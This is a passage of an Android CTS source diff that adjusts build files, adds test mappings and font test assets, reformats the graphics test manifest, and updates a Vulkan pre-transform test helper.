-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsExternalServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/externalservice/TEST_MAPPING b/tests/tests/externalservice/TEST_MAPPING
new file mode 100644
index 0000000..044b14f
--- /dev/null
+++ b/tests/tests/externalservice/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsExternalServiceTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/externalservice/common/Android.bp b/tests/tests/externalservice/common/Android.bp
index 5300297..4348ace 100644
--- a/tests/tests/externalservice/common/Android.bp
+++ b/tests/tests/externalservice/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsExternalServiceCommon",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/externalservice/service/Android.bp b/tests/tests/externalservice/service/Android.bp
index 3ae356e..781d272 100644
--- a/tests/tests/externalservice/service/Android.bp
+++ b/tests/tests/externalservice/service/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsExternalServiceService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/gesture/Android.bp b/tests/tests/gesture/Android.bp
index 318d4a0..0d0f52d 100644
--- a/tests/tests/gesture/Android.bp
+++ b/tests/tests/gesture/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsGestureTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/gesture/TEST_MAPPING b/tests/tests/gesture/TEST_MAPPING
new file mode 100644
index 0000000..7572991
--- /dev/null
+++ b/tests/tests/gesture/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsGestureTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/graphics/Android.bp b/tests/tests/graphics/Android.bp
index 7a3cdab..3f821b0 100644
--- a/tests/tests/graphics/Android.bp
+++ b/tests/tests/graphics/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsGraphicsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index 2e53417..6406133 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -16,69 +16,66 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.graphics.cts"
-        android:targetSandboxVersion="2">
+     package="android.graphics.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.graphics.cts.CameraGpuCtsActivity"
-            android:label="CameraGpuCtsActivity">
+             android:label="CameraGpuCtsActivity">
         </activity>
 
         <activity android:name="android.graphics.cts.FrameRateCtsActivity"
-            android:label="FrameRateCtsActivity">
+             android:label="FrameRateCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.graphics.cts.ImageViewCtsActivity"
-            android:label="ImageViewCtsActivity">
+             android:label="ImageViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.graphics.cts.VulkanPreTransformCtsActivity"
-            android:label="VulkanPreTransformCtsActivity"
-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
+             android:label="VulkanPreTransformCtsActivity"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
         </activity>
 
         <activity android:name="android.graphics.drawable.cts.DrawableStubActivity"
-                  android:theme="@style/WhiteBackgroundNoWindowAnimation"
-          android:screenOrientation="locked"/>
+             android:theme="@style/WhiteBackgroundNoWindowAnimation"
+             android:screenOrientation="locked"/>
         <activity android:name="android.graphics.drawable.cts.AnimatedImageActivity"
-                  android:theme="@style/WhiteBackgroundNoWindowAnimation"
-            android:screenOrientation="locked">
+             android:theme="@style/WhiteBackgroundNoWindowAnimation"
+             android:screenOrientation="locked">
         </activity>
-        <provider
-            android:name=".EmptyProvider"
-            android:exported="true"
-            android:authorities="android.graphics.cts.assets"/>
-        <provider
-            android:name="androidx.core.content.FileProvider"
-            android:authorities="android.graphics.cts.fileprovider"
-            android:exported="false"
-            android:grantUriPermissions="true"
-            >
-            <meta-data
-                android:name="android.support.FILE_PROVIDER_PATHS"
-                android:resource="@xml/file_paths" />
+        <provider android:name=".EmptyProvider"
+             android:exported="true"
+             android:authorities="android.graphics.cts.assets"/>
+        <provider android:name="androidx.core.content.FileProvider"
+             android:authorities="android.graphics.cts.fileprovider"
+             android:exported="false"
+             android:grantUriPermissions="true">
+            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+                 android:resource="@xml/file_paths"/>
         </provider>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.graphics.cts"
-                     android:label="CTS tests of android.graphics">
+         android:targetPackage="android.graphics.cts"
+         android:label="CTS tests of android.graphics">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttf b/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttf
new file mode 100644
index 0000000..ef655363
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttx b/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttx
new file mode 100644
index 0000000..3502b37
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttx
@@ -0,0 +1,240 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+    <GlyphID id="2" name="b"/>
+    <GlyphID id="3" name="c"/>
+    <GlyphID id="4" name="d"/>
+    <GlyphID id="5" name="e"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="1000"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="1000" lsb="0"/>
+    <mtx name="b" width="1000" lsb="0"/>
+    <mtx name="c" width="1000" lsb="0"/>
+    <mtx name="d" width="1000" lsb="0"/>
+    <mtx name="e" width="1000" lsb="0"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="3" nGroups="6" platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+      <map code="0x0062" name="b" />
+      <map code="0x0063" name="c" />
+      <map code="0x0064" name="d" />
+      <map code="0x0065" name="e" />
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="500" y="1000" on="1" />
+        <pt x="1000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="b" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="250" on="1" />
+        <pt x="0" y="500" on="1" />
+        <pt x="1000" y="750" on="1" />
+        <pt x="0" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="c" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="0" on="1" />
+        <pt x="0" y="500" on="1" />
+        <pt x="1000" y="1000" on="1" />
+        <pt x="0" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="d" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="250" on="1" />
+        <pt x="1000" y="750" on="1" />
+        <pt x="0" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="e" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="0" on="1" />
+        <pt x="0" y="250" on="1" />
+        <pt x="1000" y="500" on="1" />
+        <pt x="0" y="750" on="1" />
+        <pt x="1000" y="1000" on="1" />
+        <pt x="0" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/fonts/measurement/a3em.ttf b/tests/tests/graphics/assets/fonts/measurement/a3em.ttf
new file mode 100644
index 0000000..e7814db
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/measurement/a3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/fonts/measurement/a3em.ttx b/tests/tests/graphics/assets/fonts/measurement/a3em.ttx
index d3b9e16..19f1712 100644
--- a/tests/tests/graphics/assets/fonts/measurement/a3em.ttx
+++ b/tests/tests/graphics/assets/fonts/measurement/a3em.ttx
@@ -101,7 +101,7 @@
     <fsSelection value="00000000 01000000"/>
     <usFirstCharIndex value="32"/>
     <usLastCharIndex value="122"/>
-    <sTypoAscender value="800"/>
+    <sTypoAscender value="1000"/>
     <sTypoDescender value="-200"/>
     <sTypoLineGap value="200"/>
     <usWinAscent value="1000"/>
@@ -117,8 +117,8 @@
 
   <hmtx>
     <mtx name=".notdef" width="500" lsb="93"/>
-    <mtx name="1em" width="1000" lsb="93"/>
-    <mtx name="3em" width="3000" lsb="93"/>
+    <mtx name="1em" width="1000" lsb="100"/>
+    <mtx name="3em" width="3000" lsb="100"/>
   </hmtx>
 
   <cmap>
@@ -138,8 +138,22 @@
 
   <glyf>
     <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
-    <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
-    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="1em" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="500" y="1000" on="1" />
+        <pt x="1000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="3000" yMax="3000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1500" y="3000" on="1" />
+        <pt x="3000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
   </glyf>
 
   <name>
diff --git a/tests/tests/graphics/assets/fonts/measurement/bbox.ttf b/tests/tests/graphics/assets/fonts/measurement/bbox.ttf
new file mode 100644
index 0000000..c89c59c
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/measurement/bbox.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/fonts/measurement/bbox.ttx b/tests/tests/graphics/assets/fonts/measurement/bbox.ttx
new file mode 100644
index 0000000..e7d34bd
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/measurement/bbox.ttx
@@ -0,0 +1,265 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="1emx1em"/>
+    <GlyphID id="2" name="2emx2em"/>
+    <GlyphID id="3" name="3emx3em"/>
+    <GlyphID id="4" name="2emx2em_lsb_1em"/>
+    <GlyphID id="5" name="1emx1em_y1em_origin"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="1emx1em" width="1000" lsb="0"/>
+    <mtx name="2emx2em" width="2000" lsb="0"/>
+    <mtx name="3emx3em" width="3000" lsb="0"/>
+    <mtx name="2emx2em_lsb_1em" width="2000" lsb="1000"/>
+    <mtx name="1emx1em_y1em_origin" width="1000" lsb="0"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="3" nGroups="6" platformID="3" platEncID="1" language="0">
+      <map code="0x0028" name="1emx1em" />
+      <map code="0x0061" name="1emx1em" />
+      <map code="0x0062" name="2emx2em" />
+      <map code="0x0063" name="3emx3em" />
+      <map code="0x0064" name="2emx2em_lsb_1em" />
+      <map code="0x0065" name="1emx1em_y1em_origin" />
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="1emx1em" xMin="0" yMin="0" xMax="1000" yMax="1000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="500" y="1000" on="1" />
+        <pt x="1000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="2emx2em" xMin="0" yMin="0" xMax="2000" yMax="2000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="2000" on="1" />
+        <pt x="2000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="3emx3em" xMin="0" yMin="0" xMax="3000" yMax="3000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1500" y="3000" on="1" />
+        <pt x="3000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="2emx2em_lsb_1em" xMin="0" yMin="0" xMax="2000" yMax="2000">
+      <contour>
+        <pt x="0" y="0" on="1" />
+        <pt x="1000" y="2000" on="1" />
+        <pt x="2000" y="0" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+    <TTGlyph name="1emx1em_y1em_origin" xMin="0" yMin="1000" xMax="1000" yMax="2000">
+      <contour>
+        <pt x="0" y="1000" on="1" />
+        <pt x="500" y="2000" on="1" />
+        <pt x="1000" y="1000" on="1" />
+      </contour>
+      <instructions />
+    </TTGlyph>
+  </glyf>
+
+  <GSUB>
+  <Version value="0x00010000"/>
+  <ScriptList>
+    <ScriptRecord index="0">
+      <ScriptTag value="latn"/>
+      <Script>
+        <DefaultLangSys>
+          <ReqFeatureIndex value="65535"/>
+          <FeatureIndex index="0" value="0"/>
+        </DefaultLangSys>
+      </Script>
+    </ScriptRecord>
+  </ScriptList>
+  <FeatureList>
+    <FeatureRecord index="0">
+      <FeatureTag value="rtlm"/>
+      <Feature>
+        <LookupListIndex index="0" value="0"/>
+      </Feature>
+    </FeatureRecord>
+  </FeatureList>
+  <LookupList>
+    <Lookup index="0">
+      <LookupType value="1"/>
+      <LookupFlag value="0"/>
+      <SingleSubst index="0" Format="2">
+        <Substitution in="1emx1em" out="3emx3em" />
+      </SingleSubst>
+    </Lookup>
+  </LookupList>
+
+  </GSUB>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/still_with_loop_count.gif b/tests/tests/graphics/assets/still_with_loop_count.gif
new file mode 100644
index 0000000..ca3fb32
--- /dev/null
+++ b/tests/tests/graphics/assets/still_with_loop_count.gif
Binary files differ
diff --git a/tests/tests/graphics/assets/webp_still_with_loop_count.webp b/tests/tests/graphics/assets/webp_still_with_loop_count.webp
new file mode 100644
index 0000000..d46a012
--- /dev/null
+++ b/tests/tests/graphics/assets/webp_still_with_loop_count.webp
Binary files differ
diff --git a/tests/tests/graphics/jni/Android.bp b/tests/tests/graphics/jni/Android.bp
index bb4ca258..03157ba 100644
--- a/tests/tests/graphics/jni/Android.bp
+++ b/tests/tests/graphics/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsgraphics_jni",
     gtest: false,
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index d7e927c..e2c92dc 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -69,6 +69,10 @@
         "VK_KHR_swapchain",
 };
 
+static const char* blacklistedDeviceExtensions[] = {
+        "VK_KHR_performance_query",
+};
+
 static bool enumerateInstanceExtensions(std::vector<VkExtensionProperties>* extensions) {
     VkResult result;
 
@@ -191,6 +195,11 @@
     std::vector<VkExtensionProperties> supportedDeviceExtensions;
     ASSERT(enumerateDeviceExtensions(mGpu, &supportedDeviceExtensions));
 
+    // Fail if the blacklisted extensions are advertised as supported
+    for (const auto extension : blacklistedDeviceExtensions) {
+        ASSERT(!hasExtension(extension, supportedDeviceExtensions));
+    }
+
     std::vector<const char*> enabledDeviceExtensions;
     for (const auto extension : requiredDeviceExtensions) {
         ASSERT(hasExtension(extension, supportedDeviceExtensions));
@@ -243,7 +252,8 @@
 SwapchainInfo::SwapchainInfo(const DeviceInfo* const deviceInfo)
       : mDeviceInfo(deviceInfo),
         mFormat(VK_FORMAT_UNDEFINED),
-        mDisplaySize({0, 0}),
+        mSurfaceSize({0, 0}),
+        mImageSize({0, 0}),
         mSwapchain(VK_NULL_HANDLE),
         mSwapchainLength(0) {}
 
@@ -289,7 +299,7 @@
     ASSERT(formatIndex < formatCount);
 
     mFormat = formats[formatIndex].format;
-    mDisplaySize = surfaceCapabilities.currentExtent;
+    mImageSize = mSurfaceSize = surfaceCapabilities.currentExtent;
 
     VkSurfaceTransformFlagBitsKHR preTransform =
             (setPreTransform ? surfaceCapabilities.currentTransform
@@ -302,7 +312,7 @@
          (VK_SURFACE_TRANSFORM_ROTATE_90_BIT_KHR | VK_SURFACE_TRANSFORM_ROTATE_270_BIT_KHR |
           VK_SURFACE_TRANSFORM_HORIZONTAL_MIRROR_ROTATE_90_BIT_KHR |
           VK_SURFACE_TRANSFORM_HORIZONTAL_MIRROR_ROTATE_270_BIT_KHR)) != 0) {
